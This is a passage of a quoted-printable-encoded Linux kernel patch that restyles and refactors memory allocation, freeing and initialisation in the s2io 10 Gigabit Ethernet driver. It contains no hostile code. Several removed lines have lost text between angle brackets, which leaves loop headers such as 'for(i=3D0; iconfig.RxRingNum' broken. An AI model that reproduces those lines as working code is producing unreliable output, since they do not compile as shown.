mac_control->tx_curr_put_info[i].offset =3D 0;=0A= + mac_control->tx_curr_put_info[i].fifo_len =3D=0A= + config->TxCfg[i].FifoLen - 1;=0A= + mac_control->tx_curr_get_info[i].offset =3D 0;=0A= + mac_control->tx_curr_get_info[i].fifo_len =3D=0A= + config->TxCfg[i].FifoLen - 1;=0A= +=0A= + tmp_p_addr +=3D=0A= + (config->TxCfg[i].FifoLen * (sizeof(TxD_t)) *=0A= + config->MaxTxDs);=0A= + tmp_v_addr +=3D=0A= + (config->TxCfg[i].FifoLen * (sizeof(TxD_t)) *=0A= + config->MaxTxDs);=0A= }=0A= =0A= /* Allocation and initialization of RXDs in Rings */=0A= size =3D 0;=0A= - for(i=3D0; iconfig.RxRingNum; i++) {=0A= - if(nic->config.RxCfg[i].NumRxd % 128) {=0A= - DBG_PRINT(ERR_DBG,"%s: RxD count of ",dev->name);=0A= - DBG_PRINT(ERR_DBG,"Ring%d is not a multiple of ", i);=0A= - DBG_PRINT(ERR_DBG,"RxDs per Block");=0A= + for (i =3D 0; i < config->RxRingNum; i++) {=0A= + if (config->RxCfg[i].NumRxd % (MAX_RXDS_PER_BLOCK + 1)) {=0A= + DBG_PRINT(ERR_DBG, "%s: RxD count of ", dev->name);=0A= + DBG_PRINT(ERR_DBG, "Ring%d is not a multiple of ",=0A= + i);=0A= + DBG_PRINT(ERR_DBG, "RxDs per Block");=0A= return FAILURE;=0A= }=0A= - size +=3D nic->config.RxCfg[i].NumRxd;=0A= - nic->block_count[i] =3D =0A= - nic->config.RxCfg[i].NumRxd/(MAX_RXDS_PER_BLOCK+1);=0A= - nic->pkt_cnt[i] =3D =0A= - nic->config.RxCfg[i].NumRxd-nic->block_count[i];=0A= - }=0A= - size =3D (size*(sizeof(RxD_t)));=0A= - nic->mac_control.rxd_ring_mem_sz =3D size;=0A= -=0A= - for(i=3D0;iconfig.RxRingNum;i++) {=0A= - nic->mac_control.rx_curr_get_info[i].block_index =3D 0;=0A= - nic->mac_control.rx_curr_get_info[i].offset =3D 0;=0A= - nic->mac_control.rx_curr_get_info[i].ring_len =3D=0A= - nic->config.RxCfg[i].NumRxd - 1;=0A= - nic->mac_control.rx_curr_put_info[i].block_index =3D 0;=0A= - nic->mac_control.rx_curr_put_info[i].offset =3D 0;=0A= - nic->mac_control.rx_curr_put_info[i].ring_len =3D=0A= - nic->config.RxCfg[i].NumRxd - 1;=0A= - blk_cnt =3D nic->config.RxCfg[i].NumRxd/(MAX_RXDS_PER_BLOCK+1);=0A= - /* Allocating all the Rx blocks */=0A= - for(j=3D0;jpdev, size, =0A= - &phy_alloc);=0A= - tmp_p_addr =3D phy_alloc;=0A= - #else=0A= - tmp_v_addr =3D pci_alloc_consistent(nic->pdev, size, =0A= - &tmp_p_addr);=0A= - #endif=0A= - memset(tmp_v_addr,0,size); =0A= + size +=3D config->RxCfg[i].NumRxd;=0A= + nic->block_count[i] =3D=0A= + config->RxCfg[i].NumRxd / (MAX_RXDS_PER_BLOCK + 1);=0A= + nic->pkt_cnt[i] =3D=0A= + config->RxCfg[i].NumRxd - nic->block_count[i];=0A= + }=0A= + size =3D (size * (sizeof(RxD_t)));=0A= + mac_control->rxd_ring_mem_sz =3D size;=0A= + nic->_fResource |=3D RXD_ALLOCED;=0A= +=0A= + for (i =3D 0; i < config->RxRingNum; i++) {=0A= + mac_control->rx_curr_get_info[i].block_index =3D 0;=0A= + mac_control->rx_curr_get_info[i].offset =3D 0;=0A= + mac_control->rx_curr_get_info[i].ring_len =3D=0A= + config->RxCfg[i].NumRxd - 1;=0A= + mac_control->rx_curr_put_info[i].block_index =3D 0;=0A= + mac_control->rx_curr_put_info[i].offset =3D 0;=0A= + mac_control->rx_curr_put_info[i].ring_len =3D=0A= + config->RxCfg[i].NumRxd - 1;=0A= + blk_cnt =3D=0A= + config->RxCfg[i].NumRxd / (MAX_RXDS_PER_BLOCK + 1);=0A= + /* Allocating all the Rx blocks */=0A= + for (j =3D 0; j < blk_cnt; j++) {=0A= + size =3D (MAX_RXDS_PER_BLOCK + 1) * (sizeof(RxD_t));=0A= + tmp_v_addr =3D pci_alloc_consistent(nic->pdev, size,=0A= + &tmp_p_addr);=0A= + if (tmp_v_addr =3D=3D NULL) {=0A= + return -ENOMEM;=0A= + }=0A= + memset(tmp_v_addr, 0, size);=0A= nic->rx_blocks[i][j].block_virt_addr =3D tmp_v_addr;=0A= nic->rx_blocks[i][j].block_dma_addr =3D tmp_p_addr;=0A= }=0A= /* Interlinking all Rx Blocks */=0A= - for(j=3D0;jrx_blocks[i][j].block_virt_addr;=0A= - tmp_v_addr_next =3D nic->rx_blocks[i][(j+1)%blk_cnt].=0A= - block_virt_addr;=0A= + tmp_v_addr_next =3D=0A= + nic->rx_blocks[i][(j + 1) %=0A= + blk_cnt].block_virt_addr;=0A= tmp_p_addr =3D nic->rx_blocks[i][j].block_dma_addr;=0A= - tmp_p_addr_next =3D nic->rx_blocks[i][(j+1)%blk_cnt].=0A= - block_dma_addr;=0A= + tmp_p_addr_next =3D=0A= + nic->rx_blocks[i][(j + 1) %=0A= + blk_cnt].block_dma_addr;=0A= =0A= - pre_rxd_blk =3D (RxD_block_t *)tmp_v_addr;=0A= - pre_rxd_blk->reserved_0 =3D NONZERO;=0A= + pre_rxd_blk =3D (RxD_block_t *) tmp_v_addr;=0A= pre_rxd_blk->reserved_1 =3D END_OF_BLOCK; /* last RxD =0A= * marker.=0A= */=0A= - pre_rxd_blk->reserved_2_pNext_RxD_block =3D =0A= - (RxD_t *)tmp_v_addr_next;=0A= - pre_rxd_blk->pNext_RxD_Blk_physical =3D =0A= - (u64)tmp_p_addr_next;=0A= + pre_rxd_blk->reserved_2_pNext_RxD_block =3D=0A= + (unsigned long) tmp_v_addr_next;=0A= + pre_rxd_blk->pNext_RxD_Blk_physical =3D=0A= + (u64) tmp_p_addr_next;=0A= }=0A= }=0A= =0A= /* Allocation and initialization of Statistics block */=0A= - size =3D 0;=0A= size =3D sizeof(StatInfo_t);=0A= + mac_control->stats_mem =3D pci_alloc_consistent=0A= + (nic->pdev, size, &mac_control->stats_mem_phy);=0A= =0A= -#ifdef ARCH_PPC64=0A= - nic->mac_control.stats_mem =3D pci_alloc_consistent=0A= - (nic->pdev, size, &phy_alloc);=0A= - nic->mac_control.stats_mem_phy =3D phy_alloc;=0A= -#else=0A= -=0A= - nic->mac_control.stats_mem =3D pci_alloc_consistent=0A= - (nic->pdev, size, &nic->mac_control.stats_mem_phy);=0A= -#endif=0A= -=0A= - if(!nic->mac_control.stats_mem) {=0A= + if (!mac_control->stats_mem) {=0A= return -ENOMEM;=0A= - } else {=0A= - nic->_fResource |=3D STATS_ALLOCED;=0A= }=0A= - nic->mac_control.stats_mem_sz =3D size;=0A= + nic->_fResource |=3D STATS_ALLOCED;=0A= + mac_control->stats_mem_sz =3D size;=0A= =0A= - tmp_v_addr =3D nic->mac_control.stats_mem;=0A= - nic->mac_control.StatsInfo =3D (StatInfo_t *)tmp_v_addr;=0A= - memset(tmp_v_addr,0,size);=0A= -=0A= - tmp_p_addr =3D nic->mac_control.stats_mem_phy;=0A= - nic->mac_control.StatsInfoPhy =3D tmp_p_addr;=0A= + tmp_v_addr =3D mac_control->stats_mem;=0A= + mac_control->StatsInfo =3D (StatInfo_t *) tmp_v_addr;=0A= + memset(tmp_v_addr, 0, size);=0A= =0A= #ifndef XENA_ARCH_64=0A= - DBG_PRINT(INIT_DBG,"%s:Ring Mem PHY: 0x%x\n",dev->name,tmp_p_addr);=0A= + DBG_PRINT(INIT_DBG, "%s:Ring Mem PHY: 0x%x\n", dev->name,=0A= + tmp_p_addr);=0A= #else=0A= - DBG_PRINT(INIT_DBG,"%s:Ring Mem PHY: 0x%lx\n",dev->name,tmp_p_addr);=0A= + DBG_PRINT(INIT_DBG, "%s:Ring Mem PHY: 0x%lx\n", dev->name,=0A= + tmp_p_addr);=0A= #endif=0A= =0A= -return SUCCESS;=0A= + return SUCCESS;=0A= }=0A= =0A= /* =0A= @@ -377,38 +361,50 @@ return SUCCESS;=0A= */=0A= static void freeSharedMem(struct s2io_nic *nic)=0A= {=0A= - int i,j, blk_cnt,size;=0A= + int i, j, blk_cnt, size;=0A= void *tmp_v_addr;=0A= - dmaaddr_t tmp_p_addr;=0A= + dma_addr_t tmp_p_addr;=0A= + mac_info_t *mac_control;=0A= + struct config_param *config;=0A= + = =0A= =0A= - if(!nic)=0A= + if (!nic)=0A= return;=0A= - if(nic->_fResource & TXD_ALLOCED) {=0A= +=0A= + mac_control =3D &nic->mac_control;=0A= + config =3D &nic->config;=0A= +=0A= + if (nic->_fResource & TXD_ALLOCED) {=0A= nic->_fResource &=3D ~TXD_ALLOCED;=0A= - pci_free_consistent(nic->pdev,nic->mac_control.txd_list_mem_sz,=0A= - nic->mac_control.txd_list_mem,=0A= - nic->mac_control.txd_list_mem_phy);=0A= + pci_free_consistent(nic->pdev,=0A= + mac_control->txd_list_mem_sz,=0A= + mac_control->txd_list_mem,=0A= + mac_control->txd_list_mem_phy);=0A= }=0A= =0A= - if(nic->_fResource & RXD_ALLOCED) {=0A= + if (nic->_fResource & RXD_ALLOCED) {=0A= nic->_fResource &=3D ~RXD_ALLOCED;=0A= - size =3D (MAX_RXDS_PER_BLOCK+1)*(sizeof(RxD_t));=0A= - for(i=3D0; iconfig.RxRingNum; i++) {=0A= + size =3D (MAX_RXDS_PER_BLOCK + 1) * (sizeof(RxD_t));=0A= + for (i =3D 0; i < config->RxRingNum; i++) {=0A= blk_cnt =3D nic->block_count[i];=0A= - for(j=3D0; jrx_blocks[i][j].block_virt_addr;=0A= - tmp_p_addr=3Dnic->rx_blocks[i][j].block_dma_addr;=0A= - pci_free_consistent(nic->pdev, size,tmp_v_addr,=0A= - tmp_p_addr);=0A= + for (j =3D 0; j < blk_cnt; j++) {=0A= + tmp_v_addr =3D=0A= + nic->rx_blocks[i][j].block_virt_addr;=0A= + tmp_p_addr =3D=0A= + nic->rx_blocks[i][j].block_dma_addr;=0A= + pci_free_consistent(nic->pdev, size,=0A= + tmp_v_addr,=0A= + tmp_p_addr);=0A= }=0A= }=0A= }=0A= =0A= - if(nic->_fResource & STATS_ALLOCED) {=0A= + if (nic->_fResource & STATS_ALLOCED) {=0A= nic->_fResource &=3D ~STATS_ALLOCED;=0A= - pci_free_consistent(nic->pdev,nic->mac_control.stats_mem_sz,=0A= - nic->mac_control.stats_mem,=0A= - nic->mac_control.stats_mem_phy);=0A= + pci_free_consistent(nic->pdev,=0A= + mac_control->stats_mem_sz,=0A= + mac_control->stats_mem,=0A= + mac_control->stats_mem_phy);=0A= }=0A= }=0A= =0A= @@ -423,12 +419,17 @@ static void freeSharedMem(struct s2io_ni=0A= */=0A= static int initNic(struct s2io_nic *nic)=0A= {=0A= -XENA_dev_config_t *bar0 =3D (XENA_dev_config_t *)nic->bar0;=0A= -struct net_device *dev =3D nic->dev;=0A= -register u64 val64 =3D 0;=0A= -void *add;=0A= -u32 time, mem_share;=0A= -int i,j;=0A= + XENA_dev_config_t *bar0 =3D (XENA_dev_config_t *) nic->bar0;=0A= + struct net_device *dev =3D nic->dev;=0A= + register u64 val64 =3D 0;=0A= + void *add;=0A= + u32 time, mem_share;=0A= + int i, j;=0A= + mac_info_t *mac_control;=0A= + struct config_param *config;=0A= +=0A= + mac_control =3D &nic->mac_control;=0A= + config =3D &nic->config;=0A= =0A= /* Set proper endian settings and verify the same by reading the PIF =0A= Feed-back register */=0A= @@ -436,53 +437,47 @@ Feed-back register */=0A= /* The device by default set to a big endian format, so a big endian=0A= * driver need not set anything.=0A= */=0A= -#ifdef ARCH_PPC64=0A= - write64(&bar0->swapper_ctrl, 0xffffffffffffffff); =0A= - val64 =3D (=0A= - SWAPPER_CTRL_PIF_R_FE |=0A= - SWAPPER_CTRL_PIF_R_SE |=0A= - SWAPPER_CTRL_PIF_W_FE |=0A= - SWAPPER_CTRL_PIF_W_SE |=0A= - SWAPPER_CTRL_TXP_FE |=0A= - SWAPPER_CTRL_TXP_SE |=0A= - SWAPPER_CTRL_TXD_R_FE |=0A= - SWAPPER_CTRL_TXD_W_FE | =0A= - SWAPPER_CTRL_TXF_R_FE |=0A= - SWAPPER_CTRL_RXD_R_FE |=0A= - SWAPPER_CTRL_RXD_W_FE |=0A= - SWAPPER_CTRL_RXF_W_FE |=0A= - SWAPPER_CTRL_XMSI_FE |=0A= - SWAPPER_CTRL_XMSI_SE |=0A= - SWAPPER_CTRL_STATS_FE |=0A= - SWAPPER_CTRL_STATS_SE ); =0A= + write64(&bar0->swapper_ctrl, 0xffffffffffffffff);=0A= + val64 =3D (SWAPPER_CTRL_PIF_R_FE |=0A= + SWAPPER_CTRL_PIF_R_SE |=0A= + SWAPPER_CTRL_PIF_W_FE |=0A= + SWAPPER_CTRL_PIF_W_SE |=0A= + SWAPPER_CTRL_TXP_FE |=0A= + SWAPPER_CTRL_TXP_SE |=0A= + SWAPPER_CTRL_TXD_R_FE |=0A= + SWAPPER_CTRL_TXD_W_FE |=0A= + SWAPPER_CTRL_TXF_R_FE |=0A= + SWAPPER_CTRL_RXD_R_FE |=0A= + SWAPPER_CTRL_RXD_W_FE |=0A= + SWAPPER_CTRL_RXF_W_FE |=0A= + SWAPPER_CTRL_XMSI_FE |=0A= + SWAPPER_CTRL_XMSI_SE |=0A= + SWAPPER_CTRL_STATS_FE | SWAPPER_CTRL_STATS_SE);=0A= write64(&bar0->swapper_ctrl, val64);=0A= -#endif=0A= #else=0A= /* Initially we enable all bits to make it accessible by the driver,=0A= * then we selectively enable only those bits that we want to set.=0A= */=0A= write64(&bar0->swapper_ctrl, 0xffffffffffffffff);=0A= - val64 =3D ( =0A= - SWAPPER_CTRL_PIF_R_FE |=0A= - SWAPPER_CTRL_PIF_R_SE |=0A= - SWAPPER_CTRL_PIF_W_FE |=0A= - SWAPPER_CTRL_PIF_W_SE |=0A= - SWAPPER_CTRL_TXP_FE |=0A= - SWAPPER_CTRL_TXP_SE |=0A= - SWAPPER_CTRL_TXD_R_FE |=0A= - SWAPPER_CTRL_TXD_R_SE |=0A= - SWAPPER_CTRL_TXD_W_FE |=0A= - SWAPPER_CTRL_TXD_W_SE |=0A= - SWAPPER_CTRL_TXF_R_FE |=0A= - SWAPPER_CTRL_RXD_R_FE |=0A= - SWAPPER_CTRL_RXD_R_SE |=0A= - SWAPPER_CTRL_RXD_W_FE |=0A= - SWAPPER_CTRL_RXD_W_SE |=0A= - SWAPPER_CTRL_RXF_W_FE |=0A= - SWAPPER_CTRL_XMSI_FE |=0A= - SWAPPER_CTRL_XMSI_SE |=0A= - SWAPPER_CTRL_STATS_FE |=0A= - SWAPPER_CTRL_STATS_SE );=0A= + val64 =3D (SWAPPER_CTRL_PIF_R_FE |=0A= + SWAPPER_CTRL_PIF_R_SE |=0A= + SWAPPER_CTRL_PIF_W_FE |=0A= + SWAPPER_CTRL_PIF_W_SE |=0A= + SWAPPER_CTRL_TXP_FE |=0A= + SWAPPER_CTRL_TXP_SE |=0A= + SWAPPER_CTRL_TXD_R_FE |=0A= + SWAPPER_CTRL_TXD_R_SE |=0A= + SWAPPER_CTRL_TXD_W_FE |=0A= + SWAPPER_CTRL_TXD_W_SE |=0A= + SWAPPER_CTRL_TXF_R_FE |=0A= + SWAPPER_CTRL_RXD_R_FE |=0A= + SWAPPER_CTRL_RXD_R_SE |=0A= + SWAPPER_CTRL_RXD_W_FE |=0A= + SWAPPER_CTRL_RXD_W_SE |=0A= + SWAPPER_CTRL_RXF_W_FE |=0A= + SWAPPER_CTRL_XMSI_FE |=0A= + SWAPPER_CTRL_XMSI_SE |=0A= + SWAPPER_CTRL_STATS_FE | SWAPPER_CTRL_STATS_SE);=0A= write64(&bar0->swapper_ctrl, val64);=0A= #endif=0A= =0A= @@ -490,15 +485,17 @@ Feed-back register */=0A= * register.=0A= */=0A= val64 =3D read64(&bar0->pif_rd_swapper_fb);=0A= - if(val64 !=3D 0x0123456789ABCDEF) {=0A= - /* Endian settings are incorrect, calls for another dekko. */=0A= - #ifndef XENA_ARCH_64=0A= - DBG_PRINT(INIT_DBG,"%s: Endian settings are wrong",dev->name);=0A= - DBG_PRINT(ERR_DBG,", feedback read %llx\n", val64);=0A= - #else=0A= - DBG_PRINT(INIT_DBG,"%s: Endian settings are wrong",dev->name);=0A= - DBG_PRINT(ERR_DBG,", feedback read %lx\n", val64);=0A= - #endif=0A= + if (val64 !=3D 0x0123456789ABCDEF) {=0A= + /* Endian settings are incorrect, calls for another dekko. */=0A= +#ifndef XENA_ARCH_64=0A= + DBG_PRINT(INIT_DBG, "%s: Endian settings are wrong",=0A= + dev->name);=0A= + DBG_PRINT(ERR_DBG, ", feedback read %llx\n", val64);=0A= +#else=0A= + DBG_PRINT(INIT_DBG, "%s: Endian settings are wrong",=0A= + dev->name);=0A= + DBG_PRINT(ERR_DBG, ", feedback read %lx\n", val64);=0A= +#endif=0A= return FAILURE;=0A= }=0A= =0A= @@ -530,193 +527,192 @@ Feed-back register */=0A= =0A= /* Set MTU */=0A= val64 =3D dev->mtu;=0A= - write64(&bar0->rmac_max_pyld_len, vBIT(val64,2,14));=0A= + write64(&bar0->rmac_max_pyld_len, vBIT(val64, 2, 14));=0A= =0A= /* Enable DTX_Control registers. */=0A= /* LATEST Fix given by Richard to fix XAUI Configuration */=0A= - write64(&bar0->dtx_control,0x8000051500000000);=0A= - udelay(50); =0A= - write64(&bar0->dtx_control,0x80000515000000E0);=0A= - udelay(50); =0A= - write64(&bar0->dtx_control,0x80000515D93500E4);=0A= - udelay(50); =0A= -=0A= - write64(&bar0->dtx_control,0x8001051500000000);=0A= - udelay(50); =0A= - write64(&bar0->dtx_control,0x80010515000000E0);=0A= - udelay(50); =0A= - write64(&bar0->dtx_control,0x80010515001E00E4);=0A= - udelay(50); =0A= -=0A= - write64(&bar0->dtx_control,0x8002051500000000);=0A= - udelay(50); =0A= - write64(&bar0->dtx_control,0x80020515000000E0);=0A= - udelay(50); =0A= - write64(&bar0->dtx_control,0x80020515F21000E4);=0A= - udelay(50); =0A= -=0A= -#if 0 /* XAUI FIX MASK */=0A= - write64(&bar0->dtx_control,0x8000051500000000);=0A= - udelay(50); =0A= - write64(&bar0->dtx_control,0x80000515000000E0);=0A= - udelay(50); =0A= - write64(&bar0->dtx_control,0x80000515D93500EC);=0A= - udelay(50); =0A= -=0A= - write64(&bar0->dtx_control,0x8001051500000000);=0A= - udelay(50); =0A= - write64(&bar0->dtx_control,0x80010515000000E0);=0A= - udelay(50); =0A= - write64(&bar0->dtx_control,0x80010515000000EC);=0A= - udelay(50); =0A= -=0A= - write64(&bar0->dtx_control,0x8002051500000000);=0A= - udelay(50); =0A= - write64(&bar0->dtx_control,0x80020515000000E0);=0A= - udelay(50); =0A= - write64(&bar0->dtx_control,0x80020515000000EC);=0A= - udelay(50); =0A= -=0A= - write64(&bar0->mdio_control,0x0018040000000000);=0A= - udelay(50); =0A= - write64(&bar0->mdio_control,0x00180400000000E0);=0A= - udelay(50); =0A= - write64(&bar0->mdio_control,0x00180400000000EC);=0A= - udelay(50); =0A= + write64(&bar0->dtx_control, 0x8000051500000000);=0A= + udelay(50);=0A= + write64(&bar0->dtx_control, 0x80000515000000E0);=0A= + udelay(50);=0A= + write64(&bar0->dtx_control, 0x80000515D93500E4);=0A= + udelay(50);=0A= +=0A= + write64(&bar0->dtx_control, 0x8001051500000000);=0A= + udelay(50);=0A= + write64(&bar0->dtx_control, 0x80010515000000E0);=0A= + udelay(50);=0A= + write64(&bar0->dtx_control, 0x80010515001E00E4);=0A= + udelay(50);=0A= +=0A= + write64(&bar0->dtx_control, 0x8002051500000000);=0A= + udelay(50);=0A= + write64(&bar0->dtx_control, 0x80020515000000E0);=0A= + udelay(50);=0A= + write64(&bar0->dtx_control, 0x80020515F21000E4);=0A= + udelay(50);=0A= +=0A= +#if 0 /* XAUI FIX For Some Xena I NICs in the Lab */=0A= + write64(&bar0->dtx_control, 0x8000051500000000);=0A= + udelay(50);=0A= + write64(&bar0->dtx_control, 0x80000515000000E0);=0A= + udelay(50);=0A= + write64(&bar0->dtx_control, 0x80000515D93500EC);=0A= + udelay(50);=0A= +=0A= + write64(&bar0->dtx_control, 0x8001051500000000);=0A= + udelay(50);=0A= + write64(&bar0->dtx_control, 0x80010515000000E0);=0A= + udelay(50);=0A= + write64(&bar0->dtx_control, 0x80010515000000EC);=0A= + udelay(50);=0A= +=0A= + write64(&bar0->dtx_control, 0x8002051500000000);=0A= + udelay(50);=0A= + write64(&bar0->dtx_control, 0x80020515000000E0);=0A= + udelay(50);=0A= + write64(&bar0->dtx_control, 0x80020515000000EC);=0A= + udelay(50);=0A= +=0A= + write64(&bar0->mdio_control, 0x0018040000000000);=0A= + udelay(50);=0A= + write64(&bar0->mdio_control, 0x00180400000000E0);=0A= + udelay(50);=0A= + write64(&bar0->mdio_control, 0x00180400000000EC);=0A= + udelay(50);=0A= =0A= write64(&bar0->dtx_control, 0x0000051500000000);=0A= - udelay(50); =0A= + udelay(50);=0A= write64(&bar0->dtx_control, 0x00000515604000E0);=0A= - udelay(50); =0A= + udelay(50);=0A= write64(&bar0->dtx_control, 0x00000515604000E4);=0A= - udelay(50); =0A= + udelay(50);=0A= write64(&bar0->dtx_control, 0x00000515204000E4);=0A= - udelay(50); =0A= + udelay(50);=0A= write64(&bar0->dtx_control, 0x00000515204000EC);=0A= - udelay(50); =0A= + udelay(50);=0A= =0A= - write64(&bar0->mdio_control,0x0018040000000000);=0A= - udelay(50); =0A= - write64(&bar0->mdio_control,0x00180400000000E0);=0A= - udelay(50); =0A= - write64(&bar0->mdio_control,0x00180400000000EC);=0A= - udelay(50); =0A= + write64(&bar0->mdio_control, 0x0018040000000000);=0A= + udelay(50);=0A= + write64(&bar0->mdio_control, 0x00180400000000E0);=0A= + udelay(50);=0A= + write64(&bar0->mdio_control, 0x00180400000000EC);=0A= + udelay(50);=0A= #else=0A= -/* This new settings given by Richrad on 10 Oct does not seem=0A= - * to work. So Iam still using the old settings.=0A= - */=0A= -=0A= /* Set PADLOOPBACKN */=0A= - write64(&bar0->dtx_control,0x8002051500000000);=0A= - udelay (50);=0A= - write64(&bar0->dtx_control,0x80020515000000E0);=0A= - udelay (50);=0A= - write64(&bar0->dtx_control,0x80020515B20000E4);=0A= - udelay (50);=0A= + write64(&bar0->dtx_control, 0x8002051500000000);=0A= + udelay(50);=0A= + write64(&bar0->dtx_control, 0x80020515000000E0);=0A= + udelay(50);=0A= + write64(&bar0->dtx_control, 0x80020515B20000E4);=0A= + udelay(50);=0A= =0A= /* Set PADLOOPBACKN */=0A= - write64(&bar0->dtx_control,0x8003051500000000);=0A= - udelay (50);=0A= - write64(&bar0->dtx_control,0x80030515000000E0);=0A= - udelay (50);=0A= - write64(&bar0->dtx_control,0x80030515B20000E4);=0A= - udelay (50);=0A= + write64(&bar0->dtx_control, 0x8003051500000000);=0A= + udelay(50);=0A= + write64(&bar0->dtx_control, 0x80030515000000E0);=0A= + udelay(50);=0A= + write64(&bar0->dtx_control, 0x80030515B20000E4);=0A= + udelay(50);=0A= =0A= /* Set PADLOOPBACKN */=0A= - write64(&bar0->dtx_control,0x8004051500000000);=0A= - udelay (50);=0A= - write64(&bar0->dtx_control,0x80040515000000E0);=0A= - udelay (50);=0A= - write64(&bar0->dtx_control,0x80040515B20000E4);=0A= - udelay (50);=0A= + write64(&bar0->dtx_control, 0x8004051500000000);=0A= + udelay(50);=0A= + write64(&bar0->dtx_control, 0x80040515000000E0);=0A= + udelay(50);=0A= + write64(&bar0->dtx_control, 0x80040515B20000E4);=0A= + udelay(50);=0A= =0A= /* Set PADLOOPBACKN */=0A= - write64(&bar0->dtx_control,0x8005051500000000);=0A= - udelay (50);=0A= - write64(&bar0->dtx_control,0x80050515000000E0);=0A= - udelay (50);=0A= - write64(&bar0->dtx_control,0x80050515B20000E4);=0A= - udelay (50);=0A= + write64(&bar0->dtx_control, 0x8005051500000000);=0A= + udelay(50);=0A= + write64(&bar0->dtx_control, 0x80050515000000E0);=0A= + udelay(50);=0A= + write64(&bar0->dtx_control, 0x80050515B20000E4);=0A= + udelay(50);=0A= =0A= /* Reset PMA PLL */=0A= - write64(&bar0->mdio_control,0xC001010000000000);=0A= - udelay (50);=0A= - write64(&bar0->mdio_control,0xC0010100000000E0);=0A= - udelay (50);=0A= - write64(&bar0->mdio_control,0xC0010100008000E4);=0A= - udelay (50);=0A= + write64(&bar0->mdio_control, 0xC001010000000000);=0A= + udelay(50);=0A= + write64(&bar0->mdio_control, 0xC0010100000000E0);=0A= + udelay(50);=0A= + write64(&bar0->mdio_control, 0xC0010100008000E4);=0A= + udelay(50);=0A= =0A= /* Remove Reset from PMA PLL */=0A= - write64(&bar0->mdio_control,0xC001010000000000);=0A= - udelay (50);=0A= - write64(&bar0->mdio_control,0xC0010100000000E0);=0A= - udelay (50);=0A= - write64(&bar0->mdio_control,0xC0010100000000E4);=0A= - udelay (50);=0A= + write64(&bar0->mdio_control, 0xC001010000000000);=0A= + udelay(50);=0A= + write64(&bar0->mdio_control, 0xC0010100000000E0);=0A= + udelay(50);=0A= + write64(&bar0->mdio_control, 0xC0010100000000E4);=0A= + udelay(50);=0A= =0A= /* Remove PADLOOPBACKN */=0A= - write64(&bar0->dtx_control,0x8002051500000000);=0A= - udelay (50);=0A= - write64(&bar0->dtx_control,0x80020515000000E0);=0A= - udelay (50);=0A= - write64(&bar0->dtx_control,0x80020515F20000E4);=0A= - udelay (50);=0A= + write64(&bar0->dtx_control, 0x8002051500000000);=0A= + udelay(50);=0A= + write64(&bar0->dtx_control, 0x80020515000000E0);=0A= + udelay(50);=0A= + write64(&bar0->dtx_control, 0x80020515F20000E4);=0A= + udelay(50);=0A= =0A= /* Remove PADLOOPBACKN */=0A= - write64(&bar0->dtx_control,0x8003051500000000);=0A= - udelay (50);=0A= - write64(&bar0->dtx_control,0x80030515000000E0);=0A= - udelay (50);=0A= - write64(&bar0->dtx_control,0x80030515F20000E4);=0A= - udelay (50);=0A= + write64(&bar0->dtx_control, 0x8003051500000000);=0A= + udelay(50);=0A= + write64(&bar0->dtx_control, 0x80030515000000E0);=0A= + udelay(50);=0A= + write64(&bar0->dtx_control, 0x80030515F20000E4);=0A= + udelay(50);=0A= =0A= /* Remove PADLOOPBACKN */=0A= - write64(&bar0->dtx_control,0x8004051500000000);=0A= - udelay (50);=0A= - write64(&bar0->dtx_control,0x80040515000000E0);=0A= - udelay (50);=0A= - write64(&bar0->dtx_control,0x80040515F20000E4);=0A= - udelay (50);=0A= + write64(&bar0->dtx_control, 0x8004051500000000);=0A= + udelay(50);=0A= + write64(&bar0->dtx_control, 0x80040515000000E0);=0A= + udelay(50);=0A= + write64(&bar0->dtx_control, 0x80040515F20000E4);=0A= + udelay(50);=0A= =0A= /* Remove PADLOOPBACKN */=0A= - write64(&bar0->dtx_control,0x8005051500000000);=0A= - udelay (50);=0A= - write64(&bar0->dtx_control,0x80050515000000E0);=0A= - udelay (50);=0A= - write64(&bar0->dtx_control,0x80050515F20000E4);=0A= - udelay (50);=0A= + write64(&bar0->dtx_control, 0x8005051500000000);=0A= + udelay(50);=0A= + write64(&bar0->dtx_control, 0x80050515000000E0);=0A= + udelay(50);=0A= + write64(&bar0->dtx_control, 0x80050515F20000E4);=0A= + udelay(50);=0A= #endif=0A= - =0A= +=0A= /* Tx DMA Initialization */=0A= - val64=3D0;=0A= + val64 =3D 0;=0A= write64(&bar0->tx_fifo_partition_0, val64);=0A= write64(&bar0->tx_fifo_partition_1, val64);=0A= write64(&bar0->tx_fifo_partition_2, val64);=0A= write64(&bar0->tx_fifo_partition_3, val64);=0A= =0A= - for(i=3D0,j=3D0;iconfig.TxFIFONum;i++) {=0A= - val64 |=3D vBIT(nic->config.TxCfg[i].FifoLen-1,((i*32)+19),13) |=0A= - vBIT(nic->config.TxCfg[i].FifoPriority, ((i*32)+5),3);=0A= =0A= - if(i =3D=3D (nic->config.TxFIFONum-1)) {=0A= - if(i%2 =3D=3D 0)=0A= + for (i =3D 0, j =3D 0; i < config->TxFIFONum; i++) {=0A= + val64 |=3D=0A= + vBIT(config->TxCfg[i].FifoLen - 1, ((i * 32) + 19),=0A= + 13) | vBIT(config->TxCfg[i].FifoPriority,=0A= + ((i * 32) + 5), 3);=0A= +=0A= + if (i =3D=3D (config->TxFIFONum - 1)) {=0A= + if (i % 2 =3D=3D 0)=0A= i++;=0A= }=0A= =0A= - switch(i) {=0A= - case 1:=0A= + switch (i) {=0A= + case 1:=0A= write64(&bar0->tx_fifo_partition_0, val64);=0A= val64 =3D 0;=0A= break;=0A= - case 3:=0A= + case 3:=0A= write64(&bar0->tx_fifo_partition_1, val64);=0A= val64 =3D 0;=0A= break;=0A= - case 5:=0A= + case 5:=0A= write64(&bar0->tx_fifo_partition_2, val64);=0A= val64 =3D 0;=0A= break;=0A= - case 7:=0A= + case 7:=0A= write64(&bar0->tx_fifo_partition_3, val64);=0A= break;=0A= }=0A= @@ -724,76 +720,78 @@ Feed-back register */=0A= =0A= /* Enable Tx FIFO partition 0. */=0A= val64 =3D read64(&bar0->tx_fifo_partition_0);=0A= - val64 |=3D BIT(0); /* To enable the FIFO partition. */=0A= + val64 |=3D BIT(0); /* To enable the FIFO partition. */=0A= write64(&bar0->tx_fifo_partition_0, val64);=0A= =0A= val64 =3D read64(&bar0->tx_fifo_partition_0);=0A= - #ifndef XENA_ARCH_64=0A= - DBG_PRINT(INIT_DBG,"Fifo partition at: 0x%p is: 0x%llx\n", =0A= - &bar0->tx_fifo_partition_0, val64);=0A= - #else=0A= - DBG_PRINT(INIT_DBG,"Fifo partition at: 0x%p is: 0x%lx\n", =0A= - &bar0->tx_fifo_partition_0, 